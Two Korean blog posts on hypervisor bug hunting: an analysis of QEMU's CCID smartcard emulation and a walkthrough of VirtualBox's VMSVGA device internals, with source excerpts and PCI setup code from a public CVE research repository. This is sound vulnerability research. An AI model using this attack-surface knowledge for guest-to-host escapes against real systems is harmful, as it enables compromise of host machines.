Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

위에서 보이듯이 캐릭터 디바이스 형태이기 때문에 해당 디바이스를 접근하는 방법으로는 두가지가 있다. (1) 커널 모듈을 작성해서 캐릭터 디바이스와 통신하면 된다. 하지만 커널 모듈을 작성하고 올려보고 하는 과정이 많이 복잡하기 때문에 이보다는 다른 방법을 사용하는 것이 편하다. (2) 해당 디바이스 /dev/bus/usb/001/002를 통해 파일 읽기 및 쓰기를 하면서 통신할 수 있다. 자세한 내용은 아래 인용에 나와있다.

https://stackoverflow.com/questions/9276345/checking-simple-char-device-read-write-functions-in-linux

Documentation

자세한 내용을 설명하기 전에 참고할만한 자료들을 일부 소개해놓고 시작하려 한다.

  1. libcacard (Smartcard emulation library)
    1. Git page : https://gitlab.freedesktop.org/spice/libcacard
    2. Documentation : https://github.com/cedric-vincent/qemu/blob/master/docs/libcacard.txt
  2. CCID documentation in QEMU : https://github.com/qemu/qemu/blob/master/docs/ccid.txt
  3. APDU : https://en.wikipedia.org/wiki/Smart_card_application_protocol_data_unit#:~:text=In%20the%20context%20of%20smart,security%20and%20commands%20for%20interchange.
  4. VSCard Protocol (QEMU) : https://wiki.qemu.org/Features/Smartcard
  5. CCID 발표자료 : https://pt.slideshare.net/ssuserf27290/what-is-smart-card-on-tam?smtNoRedir=1

디바이스 종류

QEMU에서 구현하는 디바이스는 두가지가 있다.

  1. passthru protocol을 사용하는 스마트카드 디바이스 (-device ccid-card-passthru)
  2. certificate 파일이나 실제 하드웨어를 기반으로 하는 NSS 벡엔드가 존재하는 에뮬레이터 (-device ccid-card-emulated)

위 두가지 경우 이외에도 실제 스마트카드 디바이스와 버스 역할만 해주는 경우도 있다. (-device usb-ccid)

APDU

APDU는 스마트카드와 단말기가 통신하는 메세지 단위다. 크게 Command APDU와 Response APDU로 나누어지며 Command APDU는 단말기가 카드에게 전달하는 메세지인 반면 Response APDU는 카드가 단말기에 전달하는 메세지다. 형식은 아래와 같다.

Mandatory Field는 CLA, INS, P1, P2, SW1, SW2이다. 나머지 바이트는 선택이다.

마지막으로, 통신 모델은 아래와 같다.

Emulated

Emulated의 경우 certificate 파일이나 실제 하드웨어를 기반으로 하는 NSS 백엔드가 존재한다. 실행 옵션에 -device ccid-card-emulated를 넣고 실행하면 게스트에서 접근할 수 있는 스마트카드 디바이스가 생성되고, 해당 디바이스를 통해 유저는 certificate 정보를 획득할 수 있다. NSS 백엔드의 상태에 따라 state machine에 transition이 발생하고 (ex - 카드 삽입, 제거, 읽기, ...) state에 따라 해당하는 액션이 취해진다.

전체적인 코드 구조는 USB와 동일하다. 간단한 state machine과 handler로 구현되어 있다. 복잡도가 그렇게 높지 않아 개발자가 실수할 포인트가 많지 않고 따라서 취약점이 나오기 힘들 것으로 생각된다. 또한, 게스트 입장에서 해당 디바이스를 공략할 수 있는 것은 백엔드와 상호작용하는 부분인데, 게스트 입장에서 가능한 것은 APDU로 요청을 보내서 APDU Response를 받아오는 것밖에 없다. 즉, APDU 패킷들이 하나의 벡터가 되는 것인데, 해당 패킷들을 처리하는 것이 복잡하지 않고 개발자가 실수할 수 있는 포인트가 적어 취약점이 나오기 힘들다.

Passthru

Passthrough의 경우 VSCard 프로토콜을 추가로 구현한다. 해당 프로토콜은 APDU 기반으로 동작하며, 시나리오는 아래와 같다.

https://github.com/qemu/qemu/blob/master/docs/ccid.txt

Passthrough도 마찬가지로 정해진 상태 머신을 따라가며 handler로 구성되어 차례대로 메세지를 처리하니 위와 마찬가지로 개발자가 실수할 수 있는 포인트가 적다. 따라서 마찬가지로 취약점이 나오기 힘들 것으로 사료된다.

결론

  1. CCID의 경우 공략할 부분이 passthru 밖에 없음. 왜냐면 certificate의 경우 호스트에서 파일을 제공하고 실행 옵션에 넣어야 하기 때문.
  2. 이유를 알지 못하지만 char device로 스마트 카드 디바이스가 접근이 불가능함. (Read는 되는데 Write가 안됨) 또한 Spice를 사용하면 스마트 카드에 대해 삽입/제거 시뮬레이션을 할 수 있다고 하는데 (shift-f8, shift-f9) 이를 사용하려면 별도의 컴파일 옵션과 실행 옵션이 필요해서 이게 게스트에서 사용할 수 있는 기능인가 의아함.
  3. CCID의 경우 사람들이 많이 사용하지 않는 기능으로 보임. Two-factor authentication으로 사용하는 이 기능은 개발자가 간략히 개발하고 넘어가는 것으로 생각됨. 하지만 생각보다 보안 관련 기능이다 보니 모듈 자체에 보안을 많이 신경썼다는 느낌이 강함.
  4. 프로토콜 정보의 경우 APDU에 대한 내용은 위키, CCID 자체에 대한 내용은 123쪽짜리 공식 문서가 있음.
  5. passthru에 관한 코드는 굉장히 짧음. State machine / handler 구조가 끝.
  6. libcacard라는 외부 라이브러리를 사용하는데 해당 라이브러리에는 libfuzzer로 구현된 자체 퍼저가 있음. 파싱 부분과 encoding / decoding 부분에 대한 퍼징을 수행함.
  7. 해당 부분이 터진 경우는 딱 한번 있는데, memory corruption 류나 logic bug 류가 아니라 단순하게 메모리가 계속 쌓여서 DoS가 발생하는 경우.

'보안 > Bug Hunting' 카테고리의 다른 글

fetch --nohooks chromium 고치기  (1) 2021.06.19
My Fuzzers  (2) 2021.02.21
QEMU USB Analysis and Fuzzing  (0) 2021.01.19
CCID Protocol  (0) 2021.01.19
VirtualBox SVGA  (0) 2021.01.19

소개

VirtualBox의 디스플레이 세팅을 보게 되면 Graphicss Controller와 Acceleration 세팅이 있다. 해당 컨트롤러에서 VMSVGA를 선택하면 SVGA를 사용하게 된다. Linux를 OS로 선택하면 3D acceleration 옵션까지 켤 수 있다.

이 문서에서는 SVGA의 내부 구조와 작동 방식에 대해 설명한다.

Contents

Graphics Device Architecture

SVGA는 해당 옵션이 켜져 있을 때 게스트에서 해당 디바이스의 커널 드라이버를 통해 접근할 수 있다. 크게 두 방법으로 접근 가능한데, (1) MMIO를 통한 FIFO 메모리 접근, (2) Port I/O를 통한 SVGA Register 접근이 가능하다. 해당 두 상태를 설정해놓으면 VM 구현 코드에서 데이터를 가져가 상태에 맞는 기능을 수행하게 된다. 위 그림의 경우 VMware 기준으로 설명이 되어 있지만 VirtualBox도 동일한 방식으로 작동한다.

SVGA Structure and Port I/O

SVGA의 경우 게스트 입장에서는 PCI 디바이스를 통해 접근할 수 있다. 위 도식에서 BAR 0, 1, 2는 각각 I/O 포트 번호, 글로벌 프레임 버퍼의 물리 주소, FIFO의 물리 주소를 나타낸다. IRQ의 경우 Interrupt Request의 약자로 인터럽트가 들어오는 것을 처리하는데 사용된다. I/O를 처리하는 것을 아래 코드로 살펴보자.

// VBox/Graphics/DevVGA.cpp:6661
pThis->hIoPortVmSvga    = NIL_IOMIOPORTHANDLE;
pThis->hMmio2VmSvgaFifo = NIL_PGMMMIO2HANDLE;
if (pThis->fVMSVGAEnabled)
{
    /* Register the io command ports. */
    rc = PDMDevHlpPCIIORegionCreateIo(pDevIns, pThis->pciRegions.iIO, 0x10, vmsvgaIOWrite, vmsvgaIORead, NULL /*pvUser*/,
                                      "VMSVGA", NULL /*paExtDescs*/, &pThis->hIoPortVmSvga);
    AssertRCReturn(rc, rc);

    rc = PDMDevHlpPCIIORegionCreateMmio2Ex(pDevIns, pThis->pciRegions.iFIFO, pThis->svga.cbFIFO,
                                           PCI_ADDRESS_SPACE_MEM, 0 /*fFlags*/, vmsvgaR3PciIORegionFifoMapUnmap,
                                           "VMSVGA-FIFO", (void **)&pThisCC->svga.pau32FIFO, &pThis->hMmio2VmSvgaFifo);
    AssertRCReturn(rc, PDMDevHlpVMSetError(pDevIns, rc, RT_SRC_POS,
                                           N_("Failed to create VMSVGA FIFO (%u bytes)"), pThis->svga.cbFIFO));

    pPciDev->pfnRegionLoadChangeHookR3 = vgaR3PciRegionLoadChangeHook;
}

위 코드에서 I/O 핸들링을 어떻게 하는지, FIFO MMIO를 어떻게 처리할지에 대한 설정을 하고 있음을 확인할 수 있다. VRAM의 경우에는 VMSVGA 세팅에 상관없이 VGA에서 처리한다.

// VBox/Devices/Graphics/DevVGA.cpp:6680
/*
 * Allocate VRAM and create a PCI region for it.
 */
rc = PDMDevHlpPCIIORegionCreateMmio2Ex(pDevIns, pThis->pciRegions.iVRAM, pThis->vram_size,
                                       PCI_ADDRESS_SPACE_MEM_PREFETCH, 0 /*fFlags*/, vgaR3PciIORegionVRamMapUnmap,
                                       "VRam", (void **)&pThisCC->pbVRam, &pThis->hMmio2VRam);
AssertLogRelRCReturn(rc, PDMDevHlpVMSetError(pDevIns, rc, RT_SRC_POS,
                                                 N_("Failed to allocate %u bytes of VRAM"), pThis->vram_size));

SVGA Handling

SVGA I/O나 MMIO로 접근하게 되면 vmsvgaIORead, vmsvgaIOWrite 콜백 함수들에서 해당 데이터들을 처리하게 된다. 들어오는 포트에 따라 이를 처리하는 루틴이 달라진다.

// VBox/Devices/Graphics/DevVGA-SVGA.cpp:2037
/**
 * @callback_method_impl{FNIOMIOPORTNEWIN}
 */
DECLCALLBACK(VBOXSTRICTRC) vmsvgaIORead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT offPort, uint32_t *pu32, unsigned cb)
{
    PVGASTATE   pThis = PDMDEVINS_2_DATA(pDevIns, PVGASTATE);
    RT_NOREF_PV(pvUser);

    /* Only dword accesses. */
    if (cb == 4)
    {
        switch (offPort)
        {
            case SVGA_INDEX_PORT:
                *pu32 = pThis->svga.u32IndexReg;
                break;

            case SVGA_VALUE_PORT:
                return vmsvgaReadPort(pDevIns, pThis, pu32);

            case SVGA_BIOS_PORT:
                Log(("Ignoring BIOS port read\n"));
                *pu32 = 0;
                break;

            case SVGA_IRQSTATUS_PORT:
                LogFlow(("vmsvgaIORead: SVGA_IRQSTATUS_PORT %x\n", pThis->svga.u32IrqStatus));
                *pu32 = pThis->svga.u32IrqStatus;
                break;

            default:
                ASSERT_GUEST_MSG_FAILED(("vmsvgaIORead: Unknown register %u was read from.\n", offPort));
                *pu32 = UINT32_MAX;
                break;
        }
    }
    else
    {
        Log(("Ignoring non-dword I/O port read at %x cb=%d\n", offPort, cb));
        *pu32 = UINT32_MAX;
    }
    return VINF_SUCCESS;
}

vmsvgaReadPortvmsvgaWritePort에서는 SVGA Register 값들을 세팅하게 된다. 예를들어, SVGA_REG_ID로 값을 읽으려 시도하면 SVGA id가 리턴된다.

반면에 FIFO 메모리와 VRAM의 경우 직접 해당 메모리 영역에 값을 쓰게 된다. (각각 pThisCC->svga.pau32FIFO, pThisCC->pbVRam) FIFO의 경우 이후 FIFO loop에서 커맨드를 하나씩 잘라서 처리하게 된다.

SVGA PCI Device

게스트 입장에서 SVGA 디바이스에 접근할 때에는 PCI 디바이스를 통해 접근할 수 있다. 게스트 입장에서 볼 수 있는 PCI 디바이스는 다음과 같다.

vm@vm:~$ lspci
(...)
00:02.0 VGA compatible controller: VMware SVGA II Adapter
(...)

코드상으로 해당 PCI 디바이스를 찾아 연결하기 위해서 vendor와 device id를 맞춰주어야 한다. 해당 id들은 svga_reg.h에 정의되어 있다.

// VBox/Devices/Graphics/vmsvga/svga_reg.h:41
/*
 * PCI device IDs.
 */
#define PCI_VENDOR_ID_VMWARE            0x15AD
#define PCI_DEVICE_ID_VMWARE_SVGA2      0x0405

코드상으로 연결하는 방법은 다양한 방법이 있지만 libpciaccess를 이용하여 연결하는 예시 코드는 아래와 같다.

// https://github.com/renorobert/virtualbox-vmsvga-bugs/blob/master/CVE-2017-10210/svga.c
int conf_svga_device(void)
{
    struct pci_device *dev;
    struct pci_device_iterator *iter;
    struct pci_id_match match;
    uint16_t command;

    if (getuid() != 0 || geteuid() != 0) 
        errx(EXIT_FAILURE, "[!] Run program as root");

    iopl(3);

    if (pci_system_init())
        return -1;

    match.vendor_id = PCI_VENDOR_ID_VMWARE;
    match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2;
    match.subvendor_id = PCI_MATCH_ANY;
    match.subdevice_id = PCI_MATCH_ANY;
    match.device_class = 0;
    match.device_class_mask = 0;

    iter = pci_id_match_iterator_create(&match);
    dev = pci_device_next(iter);

    if (dev == NULL) {
        pci_cleanup(iter);
        return -1;
    }

    pci_device_probe(dev);

    gSVGA.ioBase = dev->regions[0].base_addr;
    gSVGA.fbMem = (void *)dev->regions[1].base_addr;
    gSVGA.fifoMem = (void *)dev->regions[2].base_addr;

    command = pci_device_cfg_read_u16(dev, 0, 4);
    pci_device_cfg_write_u16(dev, command | 7, 4);

    SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2);
    SVGA_WriteReg(SVGA_REG_ENABLE, true);

    gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE);
    gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE);
    gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE);

    pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize,
            PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem);
    pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize,
            PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem);

    pci_cleanup(iter);

    return 0;
}

FIFO Command Handling

FIFO buffer로 MMIO를 수행하게 되면 FIFO loop (vmsvgaR3FifoLoop)에서 커맨드로 잘라서 해당하는 커맨드를 수행하게 된다. 기본적으로 커맨드 구조는 아래를 따른다.

  1. 커맨드 넘버

    // VBox/Devices/Graphics/vmsvga/svga_reg.h:1010
    typedef enum {
    SVGA_CMD_INVALID_CMD           = 0,
    SVGA_CMD_UPDATE                = 1,
    SVGA_CMD_RECT_COPY             = 3,
    SVGA_CMD_DEFINE_CURSOR         = 19,
    SVGA_CMD_DEFINE_ALPHA_CURSOR   = 22,
    SVGA_CMD_UPDATE_VERBOSE        = 25,
    SVGA_CMD_FRONT_ROP_FILL        = 29,
    SVGA_CMD_FENCE                 = 30,
    SVGA_CMD_ESCAPE                = 33,
    SVGA_CMD_DEFINE_SCREEN         = 34,
    SVGA_CMD_DESTROY_SCREEN        = 35,
    SVGA_CMD_DEFINE_GMRFB          = 36,
    SVGA_CMD_BLIT_GMRFB_TO_SCREEN  = 37,
    SVGA_CMD_BLIT_SCREEN_TO_GMRFB  = 38,
    SVGA_CMD_ANNOTATION_FILL       = 39,
    SVGA_CMD_ANNOTATION_COPY       = 40,
    SVGA_CMD_DEFINE_GMR2           = 41,
    SVGA_CMD_REMAP_GMR2            = 42,
    SVGA_CMD_MAX
    } SVGAFifoCmdId;
    
    // VBox/Devices/Graphics/vmsvga/svga3d\_reg.h:1031  
    #define SVGA\_3D\_CMD\_LEGACY\_BASE 1000  
    #define SVGA\_3D\_CMD\_BASE 1040
    
    #define SVGA\_3D\_CMD\_SURFACE\_DEFINE SVGA\_3D\_CMD\_BASE + 0 // Deprecated  
    #define SVGA\_3D\_CMD\_SURFACE\_DESTROY SVGA\_3D\_CMD\_BASE + 1  
    #define SVGA\_3D\_CMD\_SURFACE\_COPY SVGA\_3D\_CMD\_BASE + 2  
    #define SVGA\_3D\_CMD\_SURFACE\_STRETCHBLT SVGA\_3D\_CMD\_BASE + 3  
    #define SVGA\_3D\_CMD\_SURFACE\_DMA SVGA\_3D\_CMD\_BASE + 4  
    #define SVGA\_3D\_CMD\_CONTEXT\_DEFINE SVGA\_3D\_CMD\_BASE + 5  
    #define SVGA\_3D\_CMD\_CONTEXT\_DESTROY SVGA\_3D\_CMD\_BASE + 6  
    #define SVGA\_3D\_CMD\_SETTRANSFORM SVGA\_3D\_CMD\_BASE + 7  
    #define SVGA\_3D\_CMD\_SETZRANGE SVGA\_3D\_CMD\_BASE + 8  
    #define SVGA\_3D\_CMD\_SETRENDERSTATE SVGA\_3D\_CMD\_BASE + 9  
    #define SVGA\_3D\_CMD\_SETRENDERTARGET SVGA\_3D\_CMD\_BASE + 10  
    #define SVGA\_3D\_CMD\_SETTEXTURESTATE SVGA\_3D\_CMD\_BASE + 11  
    #define SVGA\_3D\_CMD\_SETMATERIAL SVGA\_3D\_CMD\_BASE + 12  
    #define SVGA\_3D\_CMD\_SETLIGHTDATA SVGA\_3D\_CMD\_BASE + 13  
    #define SVGA\_3D\_CMD\_SETLIGHTENABLED SVGA\_3D\_CMD\_BASE + 14  
    #define SVGA\_3D\_CMD\_SETVIEWPORT SVGA\_3D\_CMD\_BASE + 15  
    #define SVGA\_3D\_CMD\_SETCLIPPLANE SVGA\_3D\_CMD\_BASE + 16  
    #define SVGA\_3D\_CMD\_CLEAR SVGA\_3D\_CMD\_BASE + 17  
    #define SVGA\_3D\_CMD\_PRESENT SVGA\_3D\_CMD\_BASE + 18 // Deprecated  
    #define SVGA\_3D\_CMD\_SHADER\_DEFINE SVGA\_3D\_CMD\_BASE + 19  
    #define SVGA\_3D\_CMD\_SHADER\_DESTROY SVGA\_3D\_CMD\_BASE + 20  
    #define SVGA\_3D\_CMD\_SET\_SHADER SVGA\_3D\_CMD\_BASE + 21  
    #define SVGA\_3D\_CMD\_SET\_SHADER\_CONST SVGA\_3D\_CMD\_BASE + 22  
    #define SVGA\_3D\_CMD\_DRAW\_PRIMITIVES SVGA\_3D\_CMD\_BASE + 23  
    #define SVGA\_3D\_CMD\_SETSCISSORRECT SVGA\_3D\_CMD\_BASE + 24  
    #define SVGA\_3D\_CMD\_BEGIN\_QUERY SVGA\_3D\_CMD\_BASE + 25  
    #define SVGA\_3D\_CMD\_END\_QUERY SVGA\_3D\_CMD\_BASE + 26  
    #define SVGA\_3D\_CMD\_WAIT\_FOR\_QUERY SVGA\_3D\_CMD\_BASE + 27  
    #define SVGA\_3D\_CMD\_PRESENT\_READBACK SVGA\_3D\_CMD\_BASE + 28 // Deprecated  
    #define SVGA\_3D\_CMD\_BLIT\_SURFACE\_TO\_SCREEN SVGA\_3D\_CMD\_BASE + 29  
    #define SVGA\_3D\_CMD\_SURFACE\_DEFINE\_V2 SVGA\_3D\_CMD\_BASE + 30  
    #define SVGA\_3D\_CMD\_GENERATE\_MIPMAPS SVGA\_3D\_CMD\_BASE + 31  
    #define SVGA\_3D\_CMD\_ACTIVATE\_SURFACE SVGA\_3D\_CMD\_BASE + 40  
    #define SVGA\_3D\_CMD\_DEACTIVATE\_SURFACE SVGA\_3D\_CMD\_BASE + 41  
    #define SVGA\_3D\_CMD\_MAX SVGA\_3D\_CMD\_BASE + 42
  2. 커맨드 헤더 (id (지워짐), header size)

    // VBox/Devices/Graphics/vmsvga/svga3d_reg.h:1126
    /*
    * The data size header following cmdNum for every 3d command
    */
    typedef
    struct {
    /* uint32_t               id; duplicate*/
    uint32_t               size;
    } SVGA3dCmdHeader;
  3. 커맨드 body

    // example of command body
    
    STRUCTURE <svga3d\_reg.struct\_c\_\_SA\_SVGA3dCmdSetRenderState object at 0x7fbbcbe0a7b8>  
    FIELD cid (type=<class 'ctypes.c\_uint'>, bitlen=32)  
    VALUE = 103 (type=<class 'int'>)  
    STRUCTURE <svga3d\_reg.struct\_c\_\_SA\_SVGA3dRenderState object at 0x7fbbcbe0a7b8>  
    FIELD state (type=<class 'ctypes.c\_int'>, bitlen=32)  
    VALUE = 700967841 (type=<class 'int'>)  
    FIELD \_1 (type=<class 'svga3d\_reg.union\_c\_\_SA\_SVGA3dRenderState\_0'>, bitlen=32)  
    STRUCTURE <svga3d\_reg.union\_c\_\_SA\_SVGA3dRenderState\_0 object at 0x7fbbcbe0a8c8>  
    FIELD uintValue (type=<class 'ctypes.c\_uint'>, bitlen=32)  
    VALUE = 1482925787 (type=<class 'int'>)  
    FIELD floatValue (type=<class 'ctypes.c\_float'>, bitlen=32)  
    VALUE = 1001223113146368.0 (type=<class 'float'>)

4바이트씩 잘라서 MMIO로 데이터를 넘기면 FIFO buffer에 차례대로 들어간다. 이후 FIFO loop에서 커맨드 번호를 읽고, 헤더 사이즈를 읽은 뒤 헤더사이즈에 맞게 FIFO buffer에서 dequeue를 해서 커맨드를 읽는다. 읽은 커맨드는 커맨드 종류에 맞춰 기능을 수행하게 된다.

SVGA state에 따라 external command를 수행하는 경우도 있다. External command에는 reset, power off, save / load state 등이 있는데, SVGA 커맨드에 상관 없이 외부 요인에 의해 실행된다. (PCI command로 실행시킬 수도 있다. ex - /sys/bus/pci/devices/<device no.>/power)

// VBox/Devices/Graphics/DevVGA-SVGA.cpp:3529 (inside vmsvgaR3FifoLoop)
/*
 * Special mode where we only execute an external command and the go back
 * to being suspended.  Currently, all ext cmds ends up here, with the reset
 * one also being eligble for runtime execution further down as well.
 */
if (pThis->svga.fFifoExtCommandWakeup)
{
    vmsvgaR3FifoHandleExtCmd(pDevIns, pThis, pThisCC);
    while (pThread->enmState == PDMTHREADSTATE_RUNNING)
        if (pThis->svga.u8FIFOExtCommand == VMSVGA_FIFO_EXTCMD_NONE)
            PDMDevHlpSUPSemEventWaitNoResume(pDevIns, pThis->svga.hFIFORequestSem, RT_MS_1MIN);
        else
            vmsvgaR3FifoHandleExtCmd(pDevIns, pThis, pThisCC);
    return VINF_SUCCESS;
}

References

  1. VMware SVGA Device Developer Kit: https://sourceforge.net/projects/vmware-svga/ (Alternative: https://github.com/prepare/vmware-svga)
  2. Straight outta VMware: Modern exploitation of the SVGA device for guest-to-host escape exploits (Blackhat Europe 2018): https://i.blackhat.com/eu-18/Thu-Dec-6/eu-18-Sialveras-Straight-Outta-VMware-Modern-Exploitation-Of-The-SVGA-Device-For-Guest-To-Host-Escapes.pdf
  3. https://github.com/renorobert/virtualbox-vmsvga-bugs

'보안 > Bug Hunting' 카테고리의 다른 글

fetch --nohooks chromium 고치기  (1) 2021.06.19
My Fuzzers  (2) 2021.02.21
QEMU USB Analysis and Fuzzing  (0) 2021.01.19
CCID Protocol  (0) 2021.01.19
VirtualBox SVGA  (0) 2021.01.19

+ Recent posts